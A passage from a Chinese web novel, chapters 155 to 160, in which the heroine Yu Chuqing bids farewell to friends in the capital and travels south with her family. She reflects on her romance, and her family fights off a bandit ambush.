时代摆在这里,听话懂事是男人对女人要求的,她这是倒反天罡! 她笑了下,意味深长地道:“或许有吧。” 萧风岚算不算意中人,她不知道。但她能确定,目前对萧风岚很满意。 虽然时常会有想甩掉这个绿茶作精、粘人精的想法,但有时候想想,丢掉又挺可惜的。 不要萧风岚,她也很难找到能给满情绪价值的男人! 她的日子没什么遗憾,非常舒坦,找个听话小狗锦上添花,享受生活、很有必要! 谈完事后,喻初晴送走苏祥,上了自家马车。 喻昔词将投放在苏祥背影的视线收回,放下车帘,道:“谈妥了?” “嗯。”喻初晴颔首:“我直接跟他说清楚了,不会考虑皇后的打算。我说,我家里要给我说亲了!” 喻昔词眉眼是无可奈何又宠溺的笑意:“我这个妹子一看就是个当家做主的人,谁敢给你说亲呐,大哥都要劝阻。” 以免一家人闹不愉快。 喻初晴但笑不语。 “你那个……”喻昔词还是没忍住问:“相好的。不想让爹娘他们知道,也真不打算带出来大哥见一下?不说替你把关,就单纯认认人。” 喻初晴想了想,道:“等机缘合适吧,该认识的时候总会认识的。” 她在打太极,喻昔词便不问了。 帝京的事基本妥帖,终于到了七月十日这一天! 永安县主府门外,两辆乘人的低调古朴的马车停在那里。 一家子的行李,另外有普通马车拉运。 喻家三兄弟骑马——尽管老三老幺都不想,架不住老大强势。 萧淼淼和薛涵来送行,还没说上话呢,竟见三皇子的马车在府门外停下! 一众吃惊! 第155章 都想拿她当刀 三皇子萧金煜下来马车,众人向他行礼:“见过三皇子殿下!” “免礼。”萧金煜转头,朝萧淼淼行礼:“雎宁姑姑好。” 萧淼淼撇嘴,对他不是很待见,不客气地道:“三皇子,你过去跟初晴也不是什么好朋友的关系吧,你这是来干什么呢?” 萧金煜的话说得简单:“本殿路过,见姑姑在此,想来是为永安送行的,便也过来送送。” 喻初晴欠身,道:“多谢三殿下关怀。” 她心道:萧金煜不是什么良善之辈,平素也不是会在路过的时候专门下马车跟人说话的人。 他们过往没有恩怨,也没有交情,不是能给彼此送行的关系。 萧金煜笑道:“日前,本殿还想把南阳侯府买下来,不料竟迟了一步,听说是你买了。” 喻初晴还以礼貌性的微笑,笑意却不达眼底,说道:“毕竟是我长大的地方,我对那儿有感情的,自然是第一时间就过去了。” “这倒是。”萧金煜颔首:“永安还是个念旧的人。” 喻初晴不想跟他闲扯,转而道:“时间紧迫,请殿下恕初晴无法作陪。为免误了行程,夜间无法停靠市镇,与小姐妹叙话离别后,便要赶路了。” 明晃晃的赶人:有话快说、有屁快放,别耽误我时间! 萧金煜听出来了么? 没人知晓,他微微笑了下,问:“本殿说几句话,耽误不了多少时间。你们这……是要南下呢,还是北上?” “怎么就一定是南下或者北上呢?”萧淼淼讨厌他打断自己跟喻初晴说话,不客气地道:“就不能是往西或者东去?” 萧金煜轻笑:“东去就只能是出海了。西边的话……永安这一家子钟灵毓秀的,不像是荒漠里的生活过的人,祖籍自然不太可能是西边的。” 年轻一辈不谈,喻家这几人个顶个的亮眼,但他们毕竟都是在帝京周边长大的。 喻惊鸿呢,明明是个屠夫,却还是有儒雅气质,是十年才开始杀猪的。 而白婉蓉—— 西北那风沙席卷的恶劣环境,若能养出这般水灵温婉的中年妇人,那不奇怪吗? 那日永安县主府乔迁宴,真假嫡女掉包案,白婉蓉站出来说了不少话。 她的口音分明是江南水乡吴侬软语! “殿下慧眼,的确是南下。”喻初晴没有隐瞒。 这也不是瞒得住的,没必要。 都秋天了,北上若不带一些御寒之物,那就是没脑子。 他们这一行无论是车马、还是人,都没有御寒准备。 萧金煜颔首:“既是南下,本殿还是多嘴说两句。战火肆虐,你们怕是要绕一点儿远路了。” “无妨。”喻初晴微笑,道:“左右一家人都在一起,齐齐整整的,就当游山玩水好了。” “如此甚好。”萧金煜哪能听不出来人家不欢迎自己。 他果断顺着台阶下,道:“既如此,本殿也不多言了。祝你们一路顺风!” 说着,他朝萧淼淼行了个礼,便走了。 萧淼淼撇嘴,满脸的不耐烦:“真是,他跟初晴很熟吗?就上赶着来凑热闹!我跟他都不熟,一口一个姑姑,不见他对我有多尊敬!” 薛涵的看法倒是不同:“初晴,如今大家都知道你是太子这边的人,三皇子莫不是想拉拢你?” 天下为棋盘,不管是黑方还是白方,想的都是尽量拥有更多的棋子。 以前喻初晴低调,南阳侯嫡女在别人眼里将来就是联姻的料子,别人根本不知她的能力。 如今喻初晴的才干显露出来了,皇后想拿她当刀、帮她干脏事儿。 三皇子未必不是同一个意思:拿她当刀,对付萧景明! “无论是不是,所幸现在我们要南下了。”喻初晴说得很保守。 薛涵颔首:“对!暂时避开也是好事。” 萧淼淼这人平时不爱多想,听她们说完后一想多,脑子立刻开阔了:“是嚯!初晴,帝京这边有我和憨憨给你守着!钱大掌柜也挺厉害的,你就放心在老家待着!等这些个妖风吹过去了,你再回来也不迟!” 但又有些不舍:“不过,你一定要跟我们通信呀!我会想你的!” “好。”喻初晴被逗笑了。 萧淼淼一想到她马上要远行,就可能很久见不到了,没控制住眼圈一红,上前一步猛地抱住喻初晴,酸溜溜地道:“初晴,你也要想我呀!” “黏黏糊糊的。”薛涵虽然说是这么说萧淼淼的,但架不住她也是鼻酸的。 她看着被萧淼淼熊抱的喻初晴,道:“初晴,若没什么事,我还是希望你尽早回来。” “嗯。”喻初晴平时并不是一个很喜欢跟人亲近的人。 她有一种不自觉的疏离感,如果不是她主动示好,别人总会下意识保持距离。 但萧淼淼钝感力超强,完全没体会到,所以总是喜欢拥抱、手挽手。 久而久之,把薛涵也带成这样了。 喻初晴对她们也很纵容,拍了拍萧淼淼的后背,道:“好了,你也让我跟涵涵抱抱吧?” 萧淼淼哼了一声:“不让她抱,初晴是我一个人的!” 嘴上是这么说,实际上却松开了喻初晴,将位置让给了薛涵。 薛涵上前,倾身抱住喻初晴,这一瞬间也忍不住眼眶红了:“初晴,南下还是危险,你一定要平平安安的!” “一定。”喻初晴给了肯定的答复。 她回抱了一下薛涵,又道:“到时候给你们带一些土特产,南方的稀罕物。” “好!”薛涵红着眼圈,笑道:“我们等着你!” 她又转头看向已经做好准备,站在一旁等着喻初晴的喻惊鸿夫妇:“伯父、伯母,是我们耽误时间了。” “无碍。”白婉蓉温柔说道:“你们对晴晴好,这是好事呢。” 萧淼淼笑了:“那是!我肯定对初晴好,我要跟初晴好一辈子!” 女眷说话,喻家的男丁都很老实避开,离得远远的。 薛涵回头又道:“都说要送你们出城的,你还不让。” 喻初晴捏了捏她的手,道:“不必了,你们一个皇家贵女、一个官家千金,出城招人眼不好。小喵喵还会武功,你纯文弱小姐!” 见那边萧淼淼在跟白婉蓉说话,她拉着薛涵往侧边去,将一块令牌悄悄塞进薛涵的手里,道:“不到万不得已,不要用。到了想尽办法都不能解决问题的时候,可以拿这块令牌去逍王府求助。” 薛涵震惊地瞪大眼睛:逍王府? 第156章 萧风岚,我马上就来了(卷一完) 她想问:看不出来啊,你跟逍王还有交情呢? 真真没想到! 但转而又想起来了:喻初晴是扮猪吃老虎的典型,在帝京的人脉超乎他们的想象,总在别人猝不及防的时候,又冒出来一段交情,跟逍王暗地里有来往,又有什么好奇怪的? 而喻初晴把这块令牌交给她,就是对她的十二万分信任! 她郑重点头:“你放心,我理会得!” “喵喵冲动,你日常多看顾着她一些。”喻初晴又道:“这个东西不让她知道,以免多生事端。” “我什么时候没看着她呢,我要不看着她啊,她早就把帝京所有权贵都得罪死了!”薛涵夸张地叹气:“幸亏她有个身负战功的父王!” 喻初晴被她逗笑:“投胎是个技术活儿,投了好胎也是一种本事。” 薛涵再次点头:“初晴放心,我知道该怎么做的!” 言尽于此。 前方,喻昔词扬高声音喊:“晴晴,时辰差不多了!” “就来!”喻初晴应了一声。 薛涵下意识攥住她的手,眼角挂着泪花,隐忍着没掉。 喻初晴:“……” 她想潇潇洒洒的走,挥一挥衣袖不带走一片云彩,怎么就这样叫人心软呢? 只得再次倾身,主动地抱了抱薛涵。 萧淼淼回头就见薛涵得了抱,当即冲过来:“喂!背着我偷偷抱呢!我也要我也要!” 喻初晴瞬间被俩姑娘抱成一团,像个夹心饼干! 两个都红着眼,松开喻初晴,把她送上马车。 喻初晴上了马车后,从车帘伸出个头来,朝她们挥手:“你们回去吧。” 两人都是嘴上应:“好,马上!” 但谁都没走。 一直到车队拐过街角,坠在最后拉行李的马车都看不见了,她们才回头。 看了一眼永安县主府的大门,薛涵叹了一口气:“初晴这一去,好几个月才能回来了。” “你还怕她府邸没人照料不成?”萧淼淼心情不好,说话也是怼人的。 但薛涵一点儿也不介意,拉住她的手晃了晃,道:“怎么会没人照料,我们雎宁郡主肯定会帮照料的呀!” 自己小姐妹是什么德行,还不清楚吗? 她和喻初晴一样,平时都是宠着萧淼淼居多,偶尔跟她斗斗嘴,也是趣味。 萧淼淼“哼”了一声,给了她一个小眼神。 薛涵捏了捏她的脸,安抚说道:“好啦,初晴是要办大事的人。即便她人在帝京,咱们也不能耽误她不是?她有自己的广阔天空,总是要飞翔的!我们呀,要么跟她一起飞,要么就站在地面默默支持、帮她守好阵地!” “算你说得对!”萧淼淼撇嘴。 但心情还是不好,道:“血汗钱,我今晚要去你家留宿,我要跟你一起睡,缓缓我即将失去初晴几个月的心情!” “说得好像你拥有过她似的。”薛涵尽管嘴上不客气,却还是答应了:“那走吧。” 她拉着萧淼淼上了自家马车,道:“让你的人回定西王府,给承王妃说一声,免得他们担心你。” 她们的马车,也缓缓离开了永安县主府这条街。 连府。 连升问坐在花园的凉亭里遛娃的妹妹:“阿玉,你明明想去给县主送行,怎么不去?” “徒生伤感罢了。”连玉将孩子交给奶娘照顾,给大哥倒了一杯茶:“我昨日命人送了东西过去县主府,初晴收下了,这就够了。我是个和离的妇人,来往也没必要太过密切。念她的恩情,在她需要的时候去帮忙就好了。” 连升颔首:“应该的。” 旋即又道:“永安县主在帝京刚刚崭露头角,便隐遁离去,不失为一个避开锋芒的好做法!如今南阳侯百年基业坍塌,家破人亡、妻离子散的。刚开始大家可能都觉得畅快,觉得桑家罪有应得。但时间长了以后,难免会认为县主做法太极端。到时候,忘恩负义、心狠手辣的名头,就会往她身上安。她遁走避开,等到流言停歇再回来,完美隐避,极好!” 这想法,也是很现实了。 连玉脸上的笑意消失,道:“世间的事总是如此,谁弱谁有理。明明初晴才是被害的一方,但因为她强,别人迟早会觉得是她盛气凌人!不公平!” “县主自己肯定很清楚这些。”连升对这位县主,简直是崇拜的:“因此她隐遁,不仅避开了可能会发生的流言,也能躲开朝中暗藏的波涛。” 连玉听得一惊:“大哥,朝局有变动吗?” 连升半点没有不让妇孺知晓天下大事的想法,直接跟妹妹说出自己的判断:“太子殿下看似安稳,但他遭到刺杀、亲征响马这些事,都表明一个风向——” “争储之斗?”连玉脸色突然一白:“那初晴明显站太子那边的,岂非……很危险?” 连升道:“所以我说,她暂时避开,是好事。” “也是。”连玉叹了一口气:“但愿她能逢凶化吉!” “县主心有成算,不会不做防备。”说着,连升把话题转移到了自家的事上:“母亲不是说要给你相看对象么?看得怎么样了?” “暂时没那想法。”连玉抿唇,道:“再嫁也不是不好,但……我总觉得,不应该如此。” 连升不解地问:“什么意思?” 连玉看了他一眼,道:“大哥,难道我就一定要找个男人才能活下去吗?” “也并非。”连升道:“你若实在不愿,一直住家里也是可行的。等将来宝儿到十二三岁了,给你们另外置办宅子,独立门户也挺好!这事儿我也问过你长嫂了,她也是这么想的。” “多谢大哥和长嫂替我着想。”连玉笑了笑,道:“和离后,我已经沉淀了好久了。我认真思考过一个问题,等初晴回来了,我去问问有没有我能做的事。我想跟她做事!不说什么功成名就,小富即安吧。” 连升也没反对:“行,那就到时再说!” 且说喻初晴这边。 南下的车队虽然拉拉杂杂东西不少,但因为马车是喻惊鸿特制的,还别说,不仅舒适度高、安全系数高,单论这速度,都相当快,还很稳。 喻初晴倒是想到了橡胶轮胎…… 喻惊鸿有这样的本领,如果把现代的一些理念交给他,是不是能让他做出很多先进的东西? 回头有时间,跟她爹提一提。 她爹是个巧匠,说不定真能做出来? 当然,此时她的心思,已经飘到了远方—— 萧风岚,我马上就来了! ——第一卷《真假千金》完。 ——第二卷《南征响马》启! 第157章 清醒地沉沦 喻家人一行人南下路上。 “姐,你在想什么?” 因为喻初晴马上要出考题,喻今歌抱着药典,做临考前的增强记忆。 抬头想说“我可以了”,却见喻初晴盯着马车内某一处发呆。 他姐欸! 万事从容、胸有成竹的人,竟然也是会发呆的人吗! 喻初晴回过神来,道:“在想二哥的事。” 要是说“没什么”,喻今歌怕是要打破砂锅问到底;说是想的喻尚武相关的事,也不算完全撒谎。 毕竟,这时候喻尚武跟萧风岚,虽然身处两个不同阵营,但距离应该不算远。 “哦。”喻今歌果然信了,笑道:“你不用担心二哥,虽然他平时不爱动脑子,但他纯粹是懒,不代表在危险的时候,他还把脑子当摆设!” “嗯。”喻初晴相信。 锤子二哥的确是个很懒得动脑的人,能动手的绝对不吵吵。 但,逼到一定份上了,他也只能活动活动几乎要生锈的大脑,认真盘算起事情来,不见得是个蠢笨的。 “姐,你怎么看起来情绪不高?”喻今歌虽然中二,但他还是有这个年纪少年人的敏感细腻。 喻尚武的钝感力,喻今歌铁定没有! 或者说,他不是少年敏感细腻,而是“围裙小保姆”养出来的细致。 他又问:“姐你是不想回去认祖归宗吗?” “没有。”喻初晴伸手摸了摸他的后脑勺,笑道:“我不是情绪不高,是我没有离开过帝京,想的事情有点多,一时之间情绪有点乱。” 如今响马盗是什么情况,她一无所知。 对她来说,完全未知的事情,过往是碰一点也不会碰的。 但…… 她却愿意去做这样一件事! 不得不思考,她对萧风岚到底是个什么样的感情。 恋爱脑? 不至于。 不喜欢? 那肯定不是。 综合下来就是:有喜欢、很喜欢,但不到恋爱脑的程度? 可她都愿意为他去冒险了? 喻初晴不喜欢不可控的事,所以她一定要弄清楚自己心里的纠结—— 她做了两个假设,去验证她对萧风岚的感情: 其一,如果他发生了意外,从此后这个人在她的生命中消失,她能不能接受? 答案是:需要时间,但短时间内应该不能。想到这种可能,她会有些心痛的感觉。 其二,若他们俩彻底分手了,从此后男婚女嫁各不相干,同在帝京他跟其他女人琴瑟和鸣、白头偕老,她能不能接受? 答案是:想弄死他! 其三,家规限制,要她必须在家族和萧狗子之间选一个,那她会放弃他吗? 答案是:不想因为这种荒唐的理由放弃;不让她做主、想要掌控她的家族,不要也罢。 综上,她还是想跟萧风岚在一起的! 好,那就没什么好纠结的了。 哪怕要沉沦,她也会清醒地沉沦。 这一趟浑水,她蹚定了! “姐,你又走神了!”喻今歌把药典放下,一副知心弟弟的模样,道:“唉,我勉为其难给你答疑解惑,你有什么想不明白的,问我!两个臭皮匠,说不定也能顶个诸葛亮?” 他成功把喻初晴逗乐了。 她笑道:“不用,就是在想……咱们家有家规,不让跟萧家联姻,莫非是世仇?” “我也想过这个问题!”喻今歌立马把话题接上:“可能是的吧!咱们祖上肯定是在萧家手里吃了亏,因此告诫后世子孙,不允许跟萧家联姻!” 顿了顿,他看着喻初晴,笑得一双眼睛亮晶晶的:“尤其是我姐,你可是五代以来唯一的姑娘欸!我看大哥和三哥都一再告诫你,让你不要跟萧家男人好。” 喻初晴抓住的重点不是“唯一的姑娘”,而是“五代”! 南阳侯是世袭了五代。 而南阳侯祖上是跟着萧氏太祖皇帝打天下的。 她越发觉得:事实应该跟自己想的相去不远! 如果是自己所猜想那样的话,她跟萧风岚能在一起吗? 好吧。 她承认,踏上南下的旅途后,她想起绿茶狗子的时间,比在帝京的时候要多一百倍! 在帝京的时候,她当真是极少去想那么多。 喻今歌还在自说自话:“我看吧,皇家那些适婚男子,也没有合适你的。太子尚且都配不上你,何况其他人?” 喻初晴笑,说了一句公道话:“如果我喜欢的,就不会管他配不配。只要我看上了,就不会在乎那么多,先弄到手再说!” “啊?”喻今歌瞪眼:“弄到手?姐怎么说得自己像土匪头子一样?” “嗯。”喻初晴笑得满脸傲娇:“就土匪,怎么了?如果我遇上一个男人,我问自己的心三遍,是不是想得到他,答案都是的话,那我就一定要把他拐到手!” 事实是:把“如果”去掉! 因为她当时就是这么干的。 并非第一次见萧风岚,但就那一瞬间,突然被萧风岚的相貌迷了魂,她便在心里用了三种角度去分析,用了极短的时间去多方面考量:是不是一定要得到他? 答案都是。 所以她果断下手了! “……”喻今歌最后竖起大拇指:“厉害,不愧是我姐!” 旋即又问:“那姐你喜欢什么样的男人?” 喻初晴想都不想就回答:“长得好看的,听我话的。” 喻今歌:“……” 正常女子想的难道不是:夫君条件不错、对我好? 不愧是他姐,跟时下女子想的,都不一样! 他不禁好奇:“你就不想要一个一生一世一双人的、爱你如命的吗?姑娘家不都希望自己的丈夫,一生一世只爱自己一个人?比如爹对娘这样?” 喻初晴脱口而出:“算了吧,我都不能保证我一生一世只喜欢他一个人,强求他这样对我,多少有点不公平。我最多要求他跟我在一块儿的时候,不允许有半点背叛。一旦发现,我就弄死他,保证没有下次!” 喻今歌:“……” 他是不是先前都没真正认识他姐? 她姐其实不是温婉可人的姑娘,骨子里是强势霸道,甚至有些……疯狂、偏执? 他咽了咽口水,问:“姐,那如果你喜欢的男人,不爱你、或者心有所属呢?” 第158章 响马盗,必须铲除 “首先……” 喻初晴答道:“心有所属的男人,我看一眼都不想。第二,不爱我的男人,争取一下咯。” 她说得格外认真:“哪有那么多命中注定的缘分,人与人的感情,是可以培养的。如果努力过,培养不起来,那就扔了这个,下一个更乖!” 毕竟,她要的是听话的。 喻今歌:“!!!” 下一个更乖? 他姐真的是有点惊世骇俗在身上的! 他艰难地问:“姐,我原来怎么没发现,你骨子里挺疯的?” 喻初晴挑眉。 她是霸总的医生朋友欸,网文里的霸总那种。 大部分的霸总不都有人格上的各种问题么? 偏执、病娇,是常见的。 很不幸,她的那个霸总朋友,就是一个追妻火葬场的病娇鬼。 物以类聚人以群分,身为这种人的朋友,她能是什么好东西? 她笑了,道:“不疯魔,不成活!” 说着,她拍了拍喻今歌的肩膀,道:“小弟,能够成大事的,都要先敢疯、敢想、敢做。” 喻今歌表示:“受教了!” “来吧,我先考你几个要点……”喻初晴把药典拿在手里,话题一转,进入考题。 喻今歌瞪眼:“姐,你不讲武德!故意给我说了那么多有的没的,害我刚刚背的至少忘了一半了!” 喻初晴瞬间化身为冷面教授:“能忘掉,就证明那东西还不是你的,还需要更努力!” 喻今歌痛苦哀嚎:“姐,求放过!” “还说要考太医署呢,嗯?”喻初晴在教育这方面,是完全没有仁慈的。 考弟弟,是半点不放水,回答不上来还要拿戒尺打手心。 当然,她打的不重,轻飘飘弄一下。 可喻今歌伤自尊啊! 接下来这一路,喻今歌每天都在薅头发中度过。 以至于,他提出:“大哥,我明天骑马,行么?” 喻昔词皮笑肉不笑地道:“不是你自己说要跟晴晴一起坐马车,好好习医的么?朝令夕改可不是什么好东西!” 喻今歌,卒! 因为不着急,马车颠簸着,慢悠悠地南下。 越是靠近响马盗作乱的地带,百姓的艰难体现得越明显。 “目前,太子驻扎在长宁郡。” 夜里,一行人在一个镇上落脚——这个镇上自然是喻昔词准备了自家的宅子。 几日来,他安排的行程,几乎不住客栈。 除了有一日露宿在外搭帐篷,其他几日住的都是在各处的宅子、庄子。 一家子用过晚膳后,喻昔词拿出地图,给所有人讲述目前的局势。 “与长宁郡隔江相望的,是长丰郡,便是响马盗的大本营。” “在太子南下之前,响马盗——或者该称之为常家军。他们已经拿下了奉安、淮明、肃宁三个州郡,连同长丰郡,他们如今已经占据了夏河以南的这一片地方。” 他的手指在地图上面画了个圈。 “如今,两军隔着夏河,太子想要收复失地,就必须抢先拿下淮明郡。以淮明郡为跳板,让大军驻扎于此,才能跟奉安郡对打。” “拿下奉安郡之后,才可打到长丰郡,响马盗便不得不退居肃宁。” “但是,肃宁的天险不强,乘胜追击可破。届时,太子便可彻底击溃响马盗。” “后续只要剿灭响马盗余党,即可得胜班师回朝。或者,太子不需要亲力亲为,交给其他人办这件事即可。” 从喻昔词的说法,喻初晴看得出来:她家大哥是个绝对的领导者。 他不仅仅经商手段了得,打理家族能力出众,军事能力竟然也这么强! 喻慕文并非全能的人才。 他的确是军师类的人才,出谋略是可行的:“如此说来,渡河是关键。若战线拉长、粮草供应容易出问题。那么,就需要淮明郡内有内应,来个里应外合!” “渡河之战,偌大的夏河,只能通过船渡。萧景明所带的兵马多半是北方人,不善水战。” “响马盗既然敢在长丰郡安营,便是用夏河做为天险来守营,证明他的人马,水性应该不错。” “现在,一来看内应,二来看萧景明麾下可有擅长水战之师。” 喻初晴听着听着,忽然觉得怎么那么熟悉? 她愣神一会儿,想起来了—— 妈呀!这不是现实版的赤壁之战吗? 曹操的兵马不善水战……将船连成了一片……火烧赤壁…… 这题她会! 但,总不能她也学着来个草船借箭、借东风吧? 不过,现在的情势是:响马盗在朝中有幕后主使。那么,萧景明所带的兵马中,必定有内应;响马盗内部,也有萧风岚那颗钉子! 又听得喻今歌问:“大哥,那我们回祖籍,不是要渡过夏河吗?这怎么弄?” “对。”喻昔词应道:“目前的状况是,夏河南岸,常家军看得很紧,我们除非出海登陆,否则很难渡河。” 渡不了河,就回不了祖籍。 也就是说,他们无论如何也绕不开这一战。 喻今歌看着那地图,问:“那我们能把二哥带出来,然后往海边走,出海绕过战区吗?” 对此,喻昔词没有表态。 倒是喻惊鸿格外严肃地说了句:“响马盗,必须铲除。” 喻慕文立即看向喻惊鸿,虽然没说话,但喻惊鸿明白他想说什么。 喻惊鸿依旧肯定:“百姓才是放在第一位的,战乱之下民不聊生,百姓难以安生。响马盗作风残忍,背后还跟争储势力相关。若不解决响马盗,不仅是百姓受难,迟早会影响到晴晴!除非晴晴愿意从此后留在祖籍,不再回帝京。” 他的话是斩钉截铁的。 白婉蓉也说道:“即便如此,也不能让储位之争祸及百姓,这个与太子争储的幕后黑手,必须铲除。” 喻昔词颔首:“对,我们帮的不是萧氏,而是为了不闹成天下大乱。一旦响马盗把太子打垮了,新的储君上位会干出什么事来,谁也不知道。” 他看向喻初晴,道:“晴晴如今明面上,是站太子的。若太子落败,对方会如何对付晴晴,也很难说。” “所以……”喻今歌总结了大家的看法:“也就是说,我们要回老家,就必须把响马盗解决了?为了我们以后能在帝京生活,也一样要解决响马盗?” “是。”喻昔词颔首:“这不仅仅是太子的事,也不仅仅是萧氏皇帝的事!” 一直没说话的喻初晴,张口便是:“大哥,我需要跟二哥见一面。” 喻昔词颔首:“好,等我们到了地头上驻扎下来,我送你去。” 但—— 没等到驻扎下来,他们遇上了一次大规模的袭击! “警戒、有响马!” 第159章 太割裂了! 双方短兵相接,金戈交鸣。 喻昔词大喝:“三弟,保护晴晴的马车。今歌留在车上,守着晴晴!” 车上。 喻今歌不解地问:“响马盗驻扎在夏河以南,太子南征军到了长宁郡,不是会清扫夏河以北所有响马盗势力的吗?都这么长时间了肯定清扫干净了,为什么我们还会遇上响马盗?” 他说的有一定道理,喻初晴拧眉思忖片刻,道:“这说明太子这边的敌方内应,只怕还不少。若不把内应拔出,只怕太子性命不保。太子一出事,南征军的军心,必定会溃散!” “那二哥会不会有危险?”喻今歌对别的事情不太懂,他只关心自己的二哥。 他坐在她旁边,好想下车去打一场,但大哥点名让他守在喻初晴旁边,他只能留着。 喻初晴道:“二哥又不是傻子。” 此时,又听到喻慕文的声音在马车外面传来:“今歌,把门看好,别吓着晴晴!” 喻初晴:“……” 让十三岁的弟弟保护姐姐、照顾姐姐,这家人可真给力! 哦,以前还让喻今歌照顾桑雪饮食起居,这小弟啊,真真围裙小保姆! 喻今歌看了一眼自家姐姐,发现她不但没有半点惊慌,甚至还异于寻常地冷静,刚才还在理智分析战局的事? 强大! 不愧是他姐! 喻初晴开了一点车门,发现前方那辆马车外面,喻惊鸿操着一柄大刀,与护卫一起,环绕着马车与响马盗对战。 保护前方马车内的白婉蓉。 马车果然机关重重,即便喻惊鸿顾不到的地方,有敌人靠近,也能弹出机关将敌人杀死。 而她与喻今歌这辆马车外面,喻昔词与喻慕文二人,一左一右将马车夹在中间,形成保护形态。 喻今歌也看到了,道:“要是二哥在就好了,这些个鬼东西,根本不够看的!一锤子一个脑袋!” 喻尚武的武力值,喻初晴从不怀疑。 但她震惊于自己眼前看到的景象: 大哥孔武有力、虎背熊腰,一条红绸带一柄羽扇,在对战的时候,强势非常。 绸带穿梭在响马盗之间,一个又一个地绞杀敌人的脖子。 羽扇机关一打开,扇面变成了钢片,一刮就能拉下敌人的一层皮! 走南闯北的喻昔词,会有这样的武力值不稀奇。 但—— 那个斯斯文文的三哥喻慕文,他不是个戴佛珠的书生吗? 她猜想过,他绝对不是文弱书生。 但是,为什么看上去那样斯文温雅的一人,杀起人来如此残暴、血腥! 佛珠,果然是用来压制狂暴的。 散开,就是大开杀戒的时候。 喻慕文左手捏着佛珠珠串,右手拎着一柄剑。 佛珠脱出串串,弹射在敌人的穴位上,让敌人短暂失去战力,下一瞬他右手的利剑便插进敌人的心窝、或者抹掉敌人的脖子! 更甚者,有些弱一点的响马盗,一粒佛珠弹射击中敌人的太阳穴,对方瞬间暴毙。 喻初晴感慨不已:“三哥的佛珠,是用来杀生的?” 别说她,就是喻今歌也是头一次见,冷漠脸:“我不知道,没见过,他也没告诉我。可能是爹给他做的特殊武器吧!” 是了。 喻惊鸿是个器械巧匠,制作这些东西真的是一绝。 但,这些还不够让人惊讶。 下一瞬,姐弟俩就看见了人生中最难以想象的一幕—— 所有人默契保护喻初晴,守护的重心都放在后面这马车上,喻惊鸿带着几个护卫守前面那辆,防备出现了一个缺口。 一名武力值挺高的响马劈向了马车的车门! 喻初晴急了:“大哥,快去救娘!” 在她眼里,白婉蓉柔柔弱弱的,身体还不好。 即便数月来她给白婉蓉调养已经初见成效,但你能想象一个赵雅芝那样气质的美丽妇人,不但有武力值,还很恐怖吗? 在响马企图破开车门的时候,车厢门猛地被推开,一柄九环大刀倏地从里面窜出来! 九环叮铃咣当响,还伴随着白婉蓉的怒斥:“打打打杀杀杀,烦死了都!大老爷们你不跟我家相公打,非想要打我是吧?我倒要叫你看看,我是不是你们能砍动的!” 你能想象,白娘子拎着九环大刀,从马车里飞窜而出,嘴里骂骂咧咧的,一刀砍下敌人的首级吗? 病弱妇人操大刀! 鲜血飞溅、头颅落地,颠覆了喻初晴的认知。 喻今歌也瞪凸了眼睛:“什么?我从小在娘身边长大,竟然不知道:娘会武功?” 喻初晴:“……” 人麻了,真的。 她这一家子真的好恐怖! 每个人都有隐藏技能,只是平时懒得用? 事实如此。 白婉蓉气得不行:“你们这些个杀千刀的,让你姑奶奶娇弱弱地等相公保护不好吗!非要姑奶奶亲自动手,你们才能死得瞑目是吧!” 她打架没有任何磨磨叽叽的,都是一刀毙命,收割人头麻利得很。 甚至,比喻惊鸿的斩骨刀还要狠! 喻初晴:“……” 喻今歌看得热血沸腾:“姐,我要不要也出去露两手给你看看?” 喻初晴捂脸:“别了吧,没有敌人分给你了。” 不是夸张。 是真没了。 全家武力值最高的喻尚武,感觉也不是那么突出了。 在一家几口分工合作之下,约摸也就是半个小时的时间,四五十响马盗一个不剩。 “哼,想抢我们?”白婉蓉九环大刀扛在肩头,刀锋还在滴血。 她气呼呼地道:“真以为十几年不杀人,姑奶奶身子骨都上锈了、拿不动刀了?告儿你们,我女儿把我治好了!” 这十多年来,因为身子骨日渐不好,喻惊鸿基本不让她做任何事。 但最近喻初晴给她调养身子,不能说完全好了,但体魄是日渐好起来,也是事实。 喻初晴:“……” 行,我才是全家武力值最低的,是吧? 但下一瞬,她就看见: 喻惊鸿杀了最后一个响马,朝白婉蓉这边走过来:“娘子,你没事吧?” 凶猛得跟老虎似的娘亲,将大刀往车上一扔,便扑进喻惊鸿怀里: “相公!他们欺负我!” “幸亏有相公保护,不然我就惨了!” “你看,他们弄得我身上脏兮兮的……” 喻初晴:“……” 没眼看,真的! 太割裂了! 偏偏,一个愿意演,一个愿意看。 演戏的是疯子,看戏的是傻子! 喻惊鸿搂住她,手掌轻轻在她背部轻轻拍了拍,哄孩子似的道:“娘子别怕,没事了没事了!今儿个累着你了,今晚早点睡,我给你捏捏胳膊捶捶腿儿,好吗?” “现在,咱们先上马车,把脏了的衣裳换了,啊?” 第160章 刺激 白婉蓉有些犹豫:“可这些……” “无事。”喻惊鸿想也不想脱口道:“有昔词和慕文呢。什么事有他俩在解决不了的?” 哥俩淡定如常。 早已习惯! 白婉蓉还是想到了当娘的责任,朝喻初晴这边看过来,问:“晴晴和今歌,没事吧?” 对于父母秀恩爱早就麻木的喻今歌,惊讶白婉蓉的武力值后,比喻初晴要好接受一点:“娘放心,我和姐马车都没下,一点儿事都没有!” “行,剩下的事交给你们爷仨儿了!”白婉蓉果断上马车去了。 喻初晴:“……” 她上辈子也没拯救银河系啊,怎么能够拥有这般天才家人的? 善后的事,其实也用不着喻惊鸿,父子三人商量片刻后,喻惊鸿便也上马车陪他“受惊”的亲亲娘子去了。 喻昔词与喻慕文兄弟俩,则是有条不紊地带人收拾战场。 喻今歌也不管外面的事,给喻初晴弄了点吃的:“姐,估计还要一会儿,你先吃点东西。” “哦。”喻初晴没有受到半点惊吓,只觉得…… 刺激! 不是被响马盗刺激的,是被自己的家人! 她坐在车厢门口,一边吃东西一边问:“大哥,看出来什么来了吗?” 清扫战场,他们也是收获了一批武器。 不愧是商业大佬,喻昔词命手下一个个尸体搜身过去,将所有值钱的玩意儿全都挑了出来,一个铜板都不放过。 谁搜到什么,就是谁的战利品。 “都死透了,一个活口也没有。”听到喻初晴的话,他回过头来,道:“这群人,应该不是常家军的那些响马盗,而是打着响马盗的旗号在这边作乱。” 谁知道,碰上硬茬,全军覆没。 喻初晴颔首,又问:“会不会是幕后主使故意安排,在这边抢,混淆视听,因此而针对战局?我看他们的武力值也不算差,不像是乌合之众。” “晴晴聪明!”喻慕文搜了一个死尸的身,搜到一块令牌:“这个人,应该是这一队响马的头目了。” 他把令牌递给喻昔词:“大哥,你认得吗?” 喻昔词审视片刻,道:“江湖中,未曾见过此等纹路的令牌。” 